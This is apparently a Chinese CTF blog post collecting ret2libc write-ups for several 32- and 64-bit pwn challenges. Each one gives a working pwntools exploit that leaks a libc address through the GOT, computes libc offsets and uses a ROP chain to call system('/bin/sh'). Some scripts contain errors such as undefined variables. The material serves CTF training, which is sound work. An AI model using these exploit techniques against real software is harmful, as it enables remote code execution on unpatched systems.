ret2libc3合集


ret2libc3

目前一些比较经典的ret2libc2的总合集,包括32位和64位,有libc文件和没有libc文件

ctf-wiki ret2libc3
考点:栈溢出rop

0x01

file checksec —— 32-bit 开NX

漏洞和内存分析和之前的系列题类似,不赘述了

0x02

IDA看源码,既没有system也没有binsh

image-20230808125622556

由linux延迟绑定机制的知识(后面再写一篇总结吧)可知,我们如果要调用system函数,就要知道他的got表中的地址,但libc被加载到的内存的位置是随机的,我们无法得知
不过,同一版本的libc的两个库函数在libc中的相对位置是不变的,所以如果我们可以知道一个已经执行过的函数的got表地址,然后确定libc的版本,就可以加上和system函数的偏移,从而得到system函数的真实地址(got表地址)
而现在我们有一个puts函数,libc中也有system和binsh

0x03

我们只需要通过栈溢出利用puts函数,打印puts函数的got表中的地址,然后获取偏移,得到system函数和/bin/sh字符串的地址,再将puts函数的返回地址覆盖为system函数的地址即可
我们可以先运行exp1(见0x04)拿到获取puts的真实地址,然后去libc- database -search的网站查询,可得到puts函数system函数和binsh字符串对应的偏移地址

image-20230808125734100

知道了puts函数的真实地址和偏移之后,就可以将puts函数的真实地址减去偏移地址,得到libc的基址,将libc的基址分别与system,/bin/sh字符串的偏移相加,就可以得到对应的真实地址
然后写完整的exp

0x04

所以其实exp是分两部的,第一步是构造栈溢出利用puts函数打印出真实地址;第二步是溢出覆盖至system函数和/bin/sh的地址,拿到shell

#first exp

from pwn import *

elf=ELF('ret2libc3')
p=process('./ret2libc3')
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
start_addr = elf.symbols['_start']
payload1=b'A'*112+p32(puts_plt)+p32(start_addr)+p32(puts_got)

p.sendlineafter("!?",payload1)
puts_addr=u32(p.recv(4))

print("puts_got_addr = ",hex(puts_got_addr))
print("puts_plt_addr = ",hex(puts_plt_addr))
print("main_plt_addr = ",hex(main_plt_addr))
print("puts addr = ", hex(puts_addr))

p.interactive()
#second exp
from pwn import *

p = process('./ret2libc3')
elf = ELF('./ret2libc3')

puts_got_addr = elf.got['puts']
puts_plt_addr = elf.plt['puts']
main_plt_addr = elf.symbols['_start']

print("puts_got_addr = ",hex(puts_got_addr))
print("puts_plt_addr = ",hex(puts_plt_addr))
print("main_plt_addr = ",hex(main_plt_addr))


p.recv()
p.sendline(payload)

puts_addr = u32(p.recv()[0:4])
print("puts_addr = ",hex(puts_addr))
sys_offset = 0x03cd10
puts_offset = 0x067360
sh_offset = 0x17b8cf

#根据公式  libc基地址  +  函数偏移量   =  函数真实地址   来计算
libc_base_addr = puts_addr - puts_offset #计算出libc基地址
sys_addr = libc_base_addr + sys_offset #计算出system的真实地址
sh_addr = libc_base_addr + sh_offset #计算出/bin/sh的真实地址

print("libc_base_addr = ",hex(libc_base_addr))
print("sys_addr = ",hex(sys_addr))
print("sh_addr = ",hex(sh_addr))

payload2 = flat([b'A'*112, p32(sys_addr), "AAAA", p32(sh_addr)])

p.sendline(payload2)
p.interactive()

或者写

puts_addr = u64(p.recv(6).ljust(8,b'\x00'))

一定注意发送pay前接收的内容

0x05

搜索libc常用方法:

ciscn_2019_c_1

0x01

简单的ret2libc3
file checksec —— 64-bit 开NX

0x02

运行一下看看

再看看IDA

研究了半天发现是让你加解密的
再看看string window 没用system和binsh
又发现加密函数里有gets函数,可构成栈溢出

0x03

分析大致流程就是

  1. 利用一个程序已经执行过的函数去泄露它在程序中的地址,然后取末尾3个字节,去找到这个程序所使用的libc的版本
  2. 用同一个程序里函数的地址-libc里的函数地址即可得到偏移量
  3. 得到偏移量后就可以推算出程序中其他函数的地址,知道其他函数的地址之后就可以去执行system(’/bin/sh‘)

0x04

写exp

from pwn import*
from LibcSearcher import*

p=remote('node4.buuoj.cn',28342)
elf=ELF('./ciscn_2019_c_1')

main=0x400b28
pop_rdi=0x400c83
ret=0x4006b9

puts_plt=elf.plt['puts']
puts_got=elf.got['puts']

p.sendlineafter('choice!\n','1')
payload='\0'+'a'*(0x50-1+8)
payload+=p64(pop_rdi)
payload+=p64(puts_got)
payload+=p64(puts_plt)
payload+=p64(main)

p.sendlineafter('encrypted\n',payload)
p.recvline()
p.recvline()

puts_addr=u64(r.recvuntil('\n')[:-1].ljust(8,'\0'))
print hex(puts_addr)

libc=LibcSearcher('puts',puts_addr)
offset=puts_addr-libc.dump('puts')
binsh=offset+libc.dump('str_bin_sh')
system=offset+libc.dump('system')

p.sendlineafter('choice!\n','1')

payload='\0'+'a'*(0x50-1+8)
payload+=p64(ret)
payload+=p64(pop_rdi)
payload+=p64(binsh)
payload+=p64(system)

p.sendlineafter('encrypted\n',payload)

p.interactive()

0x05

libcsearch的github网址
安装

git clone https://github.com/lieanu/LibcSearcher.git
cd LibcSearcher
sudo python setup.py develop

覆盖数据payload=b’\0’+b’a’*(0x50-1+8)
\0是为了让加密函数的一个strlen函数停止(这个函数遇‘0’会停止),从而绕过加密,保证我们构造的rop不会被破坏,
buf的大小为0x50
-1是减去\0
+8是覆盖rbp

这道题的接收非常讲究
泄露地址接收时先是两下recvline(),
原因

recvline()一次接收到\n;
第一次recvline只能到Ciphertext;
第二次只能接收到0a
第三次的recvuntil才开始处理泄露的got地址。
先开一下context_log_lever=’debug’,整体看一下, 再自己recvuntil看能接收到什么内容。

然后再用recvuntil(‘\n’)[:-1].ljust(8,’\0’)来舍弃接收到的字符串最后的’\x0’并向左补齐

这一道题是64位的程序,这边涉及到64位程序和32位程序运行时的区别了
32位程序运行执行指令的时候直接去内存地址寻址执行
64位程序则是通过寄存器来传址,寄存器去内存寻址,找到地址返回给程序。因此要用寄存器存参

注意栈对齐

还有最后还要再输一个0

参考资料:
[BUUCTF]PWN6——ciscn_2019_c_1

[OGeek2019]babyrop

BUUCTF pwn
考点: ret2libc3

0x01

64位程序,开启NX

没有system函数和/bin/sh字符串

0x02

分析程序: main函数中,先读取一个随机数到fd,并作为参数传入sub_804871F函数,再将sub_804871F函数的返回值作为参数传入sub_80487D0函数里。

main函数

image-20230807205450139

sub_804871F函数

image-20230807205837589

sub_80487D0函数

image-20230807205912958

观察程序我们可以发现sub_80487D0函数有栈溢出漏洞

然而想要利用栈溢出需要我们达成两个目标

1、绕过sub_804871F函数中的exit函数,这就要让strncmp的返回值为0

2、让sub_80487D0函数中a1(即buf[7])的ASCII码值尽可能大,构造栈溢出

0x03

首先第一步,我们知道,buf和s数组完全相等时,strncmp函数返回0,但是sprinf函数将随机数加到了s数组中,buf与s很难相等。不过在v1为0的时候strncmp函数也是会返回0的,而v1是读取的buf的大小,我们可以控制buf的第一位为’\x00’,可起到截断字符串长度的效果。

第二步,若要利用栈溢出ret2libc泄露write函数地址的话,起码需要231+4+4*5 = 255个字节,所以让buf[7] = ‘\xff’即可。代码中的buf[v5-1] = 0改变的是字符串末尾’\x00’的值,不影响buf[7] 。

所以第一次读取的payload为

payload = b'\x00'+b'\xff'*7
p.sendline(payload)

p.recvuntil("Correct\n")

0x04

注意本题提供了libc,直接使用pwntools工具即可,不必使用LibcSearcher

main函数地址用elf.sym[‘main’]是找不到的,objdump -t命令查看发现程序没有符号表,原因应该是出题人使用strip命令去符号表了

完整exp

from pwn import *
from LibcSearcher import *
context(os='linux', arch='i386', log_level='debug')
p = remote('node4.buuoj.cn',28188)
#p = process('./pwn')

elf = ELF('./pwn')
libc = ELF('libc-2.23.so')

payload = b'\x00'+b'\xff'*7
p.sendline(payload)

p.recvuntil("Correct\n")
write_plt = elf.plt["write"]
write_got = elf.got["write"]
#main_addr = elf.plt['__libc_start_main']
main_addr = 0x8048825

payload1 = b'a'*0xe7+b'a'*4+p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4)
p.sendline(payload1)

write_addr = u32(p.recv(4))
#print(hex(write_addr))
libc_base = write_addr -  libc.sym["write"]
system_addr = libc_base+libc.sym["system"]
bin_sh_addr=libc_base+libc.search(b'/bin/sh').__next__()

p.sendline(payload)
p.recvuntil("Correct\n")

payload2 = b'a'*0xe7+b'a'*4+p32(system_addr)+p32(0)+p32(bin_sh_addr)
p.sendline(payload2)
p.interactive()




铁人三项(第五赛区)_2018_rop

经典ret2libc3

image-20230807225923356

exp

from pwn import * 
from LibcSearcher import * 
context(os='linux', arch='i386', log_level='debug') 

#p = process('./pwn') 
p = remote('node4.buuoj.cn',28146)
elf = ELF('./pwn')
main_addr = elf.sym['main']
plt_addr  = elf.plt['write']	
got_addr  = elf.got['write']

pay1 = b'a'*(0x88+4)+p32(plt_addr)+p32(main_addr)+p32(1)+p32(got_addr)+p32(0xD)
p.sendline(pay1)

write_addr = u32(p.recv()[0:4])#0xf7db1190
print("write_addr = ",hex(write_addr))

libc=LibcSearcher('write',write_addr)
offset=write_addr-libc.dump('write')
binsh=offset+libc.dump('str_bin_sh')
system=offset+libc.dump('system')
print("libc_base_addr = ",hex(offset))
print("sys_addr = ",hex(system))
print("sh_addr = ",hex(binsh))
pay2 = b'a'*(0x88+4)+p32(system)+b'aaaa'+p32(binsh)
p.sendline(pay2)
p.interactive()

pwn2_sctf_2016

0x01

32位开NX泄露libc

image-20230808104509112

注意get_n是自定义函数

规定读入v2长度的字符,但是程序要求v2不大于32。观察到int型的v2传入unsigned int型的a2,可以传入-1整数溢出绕过。

ROP链泄露libc,溢出覆盖返回地址getshell

0x02

exp

from pwn import * 
from LibcSearcher import * 
context(os='linux', arch='i386', log_level='debug') 

#p = process('./pwn0') 
p = remote('node4.buuoj.cn',26602)

p.recvuntil(b"How many bytes do you want me to read?")
p.sendline(b'-1')


libc = ELF('./libc-2.23.so')
elf = ELF('./pwn0') 
main_addr = elf.sym['main']
plt_addr  = elf.plt['printf']	
got_addr  = elf.got['getchar']
fmt = 0x080486F


#第一行的才正确?
pay1 = b'a'*(0x2c+4)+p32(plt_addr)+p32(main_addr)+p32(fmt)+p32(got_addr)
#pay1 = b'a'*(0x2c+4)+p32(plt_addr)+p32(main_addr)+p32(got_addr)+p32(fmt)
#pay1 = b'a'*(0x2c+4)+p32(plt_addr)+p32(main_addr)+p32(got_addr)
p.recvuntil(b"\n")
p.sendline(pay1)


getchar_addr= u32(p.recvuntil(b'\xf7')[-4:])
#getchar_addr = u32(p.recv()[0:4])变成接收前面四个字节了
print("getchar_addr = ",hex(getchar_addr))

'''
libc=LibcSearcher('getchar',getchar_addr)
offset=getchar_addr-libc.dump('getchar')
binsh=offset+libc.dump('str_bin_sh')
system=offset+libc.dump('system')
'''
base_addr = getchar_addr - libc.symbols['getchar']
system = libc.symbols['system'] + base_addr
binsh = libc.search(b'/bin/sh').__next__() + base_addr

print("libc_base_addr = ",hex(base_addr))
#print("libc_base_addr = ",hex(offset))
print("sys_addr = ",hex(system))
print("sh_addr = ",hex(binsh))
pay2 = b'a'*(0x2c+4)+p32(system)+b'aaaa'+p32(binsh)
p.recvuntil(b"How many bytes do you want me to read?")
p.sendline(b'-1')
p.recvuntil(b"\n")
p.sendline(pay2)
p.interactive()

bjdctf_2020_babyrop

0x01

64位,与32位传参有区别

image-20230807231036816

思路:

  1. 利用puts函数泄露出puts函数真实地址
  2. 通过puts函数地址计算出libc基地址,从而计算出system和binsh的真实地址
  3. 构造rop链栈溢出getshell

puts函数通过pop rdi ; ret 传参

用ROPgadget可以找到

0x02

exp

#encoding = utf-8
 
from pwn import * 
from LibcSearcher import * 
 
context(os = 'linux',arch = 'amd64',log_level = 'debug')
content = 1
elf = ELF('./pwn')
 
def main():
    if content == 1:
        p = process('./pwn') 
    else:
        p = remote('node4.buuoj.cn',29917)
    
    #elf
    main_addr = elf.sym['main']
    plt_addr  = elf.plt['puts']
    got_addr  = elf.got['puts']
    pop_rdi   = 0x0400733
    ret_addr  = 0x04004c9
    
    payload   = b'a'*(0x20+0x8) + p64(pop_rdi) + p64(got_addr) + p64(plt_addr) + p64(main_addr)
    p.recvuntil("Pull up your sword and tell me u story!\n")
    p.sendline(payload)
    puts_addr = u64(p.recv(6).ljust(8,b'\x00'))
    print(hex(puts_addr))
    
    #libc
    lib 	        = LibcSearcher('puts',puts_addr) 
    lib_puts_addr   = lib.dump('puts')
    lib_system_addr = lib.dump('system')
    lib_bin_addr    = lib.dump('str_bin_sh')
    
    #base
    base_addr       = puts_addr - lib_puts_addr
    system_addr	= base_addr + lib_system_addr
    bin_addr	= base_addr + lib_bin_addr
    payload		= b'a'*(0x20+0x8) + p64(ret_addr) + p64(pop_rdi) + p64(bin_addr) + p64(system_addr)
    p.recvuntil("Pull up your sword and tell me u story!\n")
    p.sendline(payload)
    
    p.interactive()
main()

[HarekazeCTF2019]baby_rop2

64位的ret2libc3

0x01

image-20230808095301880

利用printf泄露libc版本和基地址,传参的时候需要传入格式化字符串%s给寄存器rdi(程序中第二个printf函数自带,返回至该格式化字符串地址即可);并将想要泄露的read_got传给寄存器。

0x02

exp

from pwn import *
from LibcSearcher import *
context(os='linux', arch='amd64', log_level='debug')
p = remote('node4.buuoj.cn',25502)
#p = process('./babyrop2')

elf = ELF('./babyrop2')
libc = ELF('libc.so.6')

#一定要用题目给的libc文件,可能必须要用题目给的才能打通

printf_plt = elf.plt['printf']
read_got = elf.got['read']
main_plt = elf.sym['main']

pop_rdi = 0x0000000000400733
pop_rsi_r15 = 0x0000000000400731
fmt = 0x0000000000400790

payload1 = b'a'*(0x20+8)+p64(pop_rdi)+p64(fmt)+p64(pop_rsi_r15)+p64(read_got)+p64(0)+p64(printf_plt)+p64(main_plt)
p.recvuntil("name? ")
p.sendline(payload1)

read_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
print("read_addr ======>> "+hex(read_addr))
libc_base = read_addr -  libc.sym["read"]
system_addr = libc_base+libc.sym["system"]
bin_sh_addr=libc_base+libc.search(b'/bin/sh').__next__()

payload2 = b'a'*0x28+p64(pop_rdi)+p64(bin_sh_addr)+p64(system_addr)+p64(0)
p.sendline(payload2)

p.interactive()




文章作者: lmarch2
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 lmarch2 !
评论
  目录